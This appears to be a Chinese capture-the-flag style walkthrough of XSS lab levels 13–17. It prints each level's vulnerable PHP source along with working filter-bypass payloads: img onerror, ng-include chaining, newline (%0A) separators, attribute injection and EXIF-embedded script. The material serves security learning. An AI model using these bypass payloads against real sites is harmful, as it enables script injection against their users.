1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level14.php" ; } </script> <title>欢迎来到level13</title> </head> <body> <h1 align=center>欢迎来到level13</h1> <?php setcookie ("user" , "call me maybe?" , time ()+3600 );ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_COOKIE ["user" ]; $str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_cook" value="' .$str33 .'" type="hidden"> </form> </center>' ;?> <center><img src=level13.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
level14a 类型:
解题思路;
*PHP解析执行机制
PHP 解析机制:PHP 文件本质上是服务器端脚本文件,当服务器接收到对 PHP 文件的请求时,会先对其中的 PHP 代码进行解析和执行。 如果文件里有 HTML、CSS、JavaScript 代码,PHP 解析器会直接将这些非 PHP 代码原样输出给客户端。
输入:
1 <script > alert ("123" );</scritp>
script 别td 包含,无法执行js代码
输入:
1 2 <img src ="x" onerror ="alert('123')" > //页面加载触发<img src ="x" onmouseover ="alert('123')" > //数标悬停触发
渲染:
通关成功
源码分析:
level14b 类型:文件上传
解题思路:
*EXIF
图片的 EXIF(Exchangeable Image File Format) 是嵌入在图片文件中的一组元数据(Metadata),记录了拍摄设备、拍摄参数、时间、地理位置等信息。它是数码照片的“数字身份证”,广泛应用于摄影、取证和图片管理 EXIF 包含的信息:
1.基础信息:
拍摄时间、日期 文件格式(如 JPEG、RAW) 文件大小和分辨率
2.设备参数
相机品牌和型号(如 Canon EOS 5D Mark IV) 镜头型号 序列号(部分设备)
3.拍摄参数
光圈值(F值) 快门速度 ISO 感光度 焦距(如 50mm) 白平衡模式 曝光补偿
4.地理位置
GPS 坐标(需设备开启定位功能) 海拔高度(部分设备支持)
4.其他信息
版权声明(作者信息) 缩略图预览 后期编辑软件(如 Photoshop 修改记录)
EXIF 的作用与用途 1.摄影学习 2.分析他人作品的拍摄参数(如光圈、快门),提升摄影技巧。 3.图片管理 4.按时间、设备分类整理照片。 5.版权保护 6.通过 EXIF 中的作者信息证明图片归属。 地理位置记录 7.旅行摄影时标记拍摄地点。 8.取证调查 9.验证图片真实性(如时间、设备是否匹配)。
问题与解决: 1.敏感信息泄露 GPS 坐标可能暴露家庭住址或常去地点。 2.清除 EXIF
分享图片前,使用工具删除 EXIF(如 Exif Purge)。
3.平台自动删除
微信、微博等社交平台上传图片时会默认清除 EXIF。
随便上传正常的照片:
展示了很多项信息,随便修改图片的某一项为xss攻击代码即可通关
有自动弹窗
level15 解题思路:
页面技术特征 1.AngularJS 框架:代码引入了 angular.min.js,说明页面依赖 AngularJS 动态渲染内容。 2.未实现的 ngInclude:注释 表明存在一个未完成的动态内容加载逻辑,可能需通过特定操作触发
*AngularJS与指令ng-inlcude
ng - include指令特性
ng - include是 Angular JS 框架中的指令,用于在 HTML 页面中动态包含外部文件或片段,通过浏览器的 XHR 请求加载外部文件(需确保文件在同一域名下可访问)。它与服务器端的文件包含(如 PHP)不同,是在浏览器端请求并加载文件内容,然后将其插入到当前页面指定位置。
攻击原理:
默认情况下的,ng-include 只能加载当前页面同源的(相同域名,协议,端口)的文件 ng - include加载level1.php时,将name=[script]alert(/xss/)[/script]作为参数传递给level1.php。 由于level1.php未对name参数做严格过滤,浏览器解析level1.php返回的 HTML 时,会执行恶意脚本alert(/xss/),从而触发 XSS 攻击。
关卡:
本关漏洞利用分析 1.当前关卡过滤:
传入的src参数会被htmlspecialchars()函数过滤,直接注入script等敏感标签会被转义,无法直接触发 XSS。
2.结合其他页面漏洞:
靶场中其他页面(如level1.php)存在 XSS 漏洞(假设name参数输入未过滤)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 利用ng - include的文件包含特性,构造 Payload: src='level1.php?name=<script > alert ("123" );</script > ' //不行 src='level1.php?name=<img src ='x' onerror ='alert("123")' > ' //不行 src='level1.php?name=<img src =x onerror =alert( '123 ')> ' //不行 src="level1.php?name=<img src =x onerror =alert( "123 ")> " //不行 src="level1.php?name=<img src ='x' onerror =alert( '123 ')> " //行 src="level1.php?name=<img src =x onerror =alert( '123 ')> " //行 src='level1.php?name=<img src =x onerror =alert( "123 ")> ' //行 - 用img标签行 - onerror外不套单双引号,让浏览器容错,防止过多的单双引号让浏览器识别错误 为什么有些语句为什么不行呢? 因为语句要考虑的不仅仅是本关的过滤,也要考虑引用对应关卡的过滤
关键流程总结
ng - include通过浏览器请求加载level1.php,传递带有恶意脚本的参数。 存在漏洞的level1.php接收参数后,未过滤直接回显恶意脚本到页面。 浏览器解析执行恶意脚本,完成 XSS 攻击。
这种利用方式绕过了当前关卡的过滤,借助ng - include的特性和其他页面的 XSS 漏洞,实现了跨页面的脚本攻击。
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <html ng-app> <head> <meta charset="utf-8" > <script src="angular.min.js" ></script> <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level16.php?keyword=test" ; } </script> <title>欢迎来到level15</title> </head> <h1 align=center>欢迎来到第15 关,自己想个办法走出去吧!</h1> <p align=center><img src=level15.png></p> <?php ini_set ("display_errors" , 0 );$str = $_GET ["src" ]; echo '<body><span class="ng-include:' .htmlspecialchars ($str ).'"></span></body>' ; ?>
level16 解题思路:
类型:输入框类型
输入测试语句:
1 <script > alert ("123" )</script >
网页回显情况:
查看实例化情况:
此时的页面渲染:
补充知识:center标签
[center]标签的作用:将包裹的文本、图片或其他元素在父容器中水平居中显示。 HTML4 及更早版本支持 center,但 HTML5 已将其废弃。 被弃用的原因: 1.HTML 应专注于结构(如标题、段落),样式应交给 CSS 控制。 2.维护性和灵活性差:混合样式与结构,导致代码难以维护。 3.无法适应复杂布局(如响应式设计)。 重点:center 标签内嵌套 script 标签,其中的 JavaScript 代码仍会被浏览器执行
解读回显信息:
1 2 3 4 5 6 7 8 < -> <> -> > -> 空格& -> &< > alert("123");< > 即为:< >alert("123");< >
括号内的双引号没有实例化转义或被替换
特殊符号 < > 空格 & 号被实例化转义
script标签缺失,准确来说被替换为空格
换标签:
1 <img src =x onerror =alert( "123 ")>
回显:
*换行符绕过 在 XSS 攻击中,换行符绕过过滤 的核心原理是利用浏览器与过滤规则对换行符(\n 或 %0A)的解析差异,使得恶意代码能够绕过安全检测,同时被浏览器正常执行。以下是详细解释和应用场景:
绕过原理:
浏览器与过滤规则对换行符的解析差异
浏览器 :在 HTML 中,标签属性之间的换行符通常会被视为普通空格 ,甚至在某些情况下被直接忽略。 1 2 <img src =x onerror =alert(1) >
过滤规则 :可能未正确处理换行符,例如:
仅检测连续的关键字(如 onerror),但换行符将关键字拆分为 on\nerror 时,绕过黑名单。
过滤空格但未过滤换行符,导致换行符成为替代分隔符。
混淆代码结构 通过换行符改变代码的视觉结构,使静态正则表达式或简单字符串匹配失效。例如:
1 <img src =x%0Aonerror =alert(1) >
应用场景:
绕过空格过滤
场景 :目标过滤了空格(如删除或转义为 ),但允许换行符。
利用方式 :用换行符(%0A)替代空格分隔标签属性。 1 <img/src=x%0Aonerror=alert(1)>
浏览器解析为 <img src=x onerror=alert(1)>。
分割关键字
场景 :目标使用黑名单检测连续的关键字(如 onerror)。
利用方式 :插入换行符拆分关键字,使其无法被正则表达式匹配。 1 2 <img src =x onerr or =alert(1) >
浏览器会将换行后的内容合并为 onerror,但过滤规则可能因换行符失效。
绕过属性值闭合检测
场景 :目标检查属性值的闭合(如 " 或 '),但未处理换行符。
利用方式 :在属性中插入换行符,构造未闭合的上下文: 1 <a href ="javascri%0Apt:alert(1)" > Click</a >
浏览器可能忽略换行符,解析为 javascript:alert(1)。
实际绕过示例:
示例 1:绕过空格过滤 假设目标过滤空格,但允许换行符:
1 <img/src=x%0Aonerror=alert(1)>
浏览器解析 :<img src="x" onerror="alert(1)">
绕过效果 :成功触发 onerror 事件。
示例 2:分割敏感关键字 假设目标过滤 onerror 关键词:
1 2 3 <img src =x onerr or =alert(1) >即 <img src =x%0Aonerror =alert( "123 ")>
浏览器解析 :onerror 被合并,触发事件。
过滤规则 :可能因换行符无法检测到 onerror。
由于script会被过滤,所以不使用 输入:
1 <img%0Asrc=x%0Aonerror=alert('123')> 不用双引号,因为被实例化转义
成功通关
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level17.php?arg01=a&arg02=b" ; } </script> <title>欢迎来到level16</title> </head> <body> <h1 align=center>欢迎来到level16</h1> <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("script" ," " ,$str );$str3 =str_replace (" " ," " ,$str2 );$str4 =str_replace ("/" ," " ,$str3 );$str5 =str_replace (" " ," " ,$str4 );echo "<center>" .$str5 ."</center>" ;?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str5 )."</h3>" ;?> </body> </html>
level17 解题思路:
检查源码:
修改地址栏的b,源码也对应修改:
*趣事 将b修改为:
输入:
1 123 onmouseover=alert("123")
鼠标悬放即可通关
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); } </script> <title>欢迎来到level17</title> </head> <body> <h1 align=center>欢迎来到level17</h1> <?php ini_set ("display_errors" , 0 );echo "<embed src=xsf01.swf?" .htmlspecialchars ($_GET ["arg01" ])."=" .htmlspecialchars ($_GET ["arg02" ])." width=100% heigth=100%>" ;?> <h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body> </html>
服务器设置 开启php扩展设置php_exif –>图片读取功能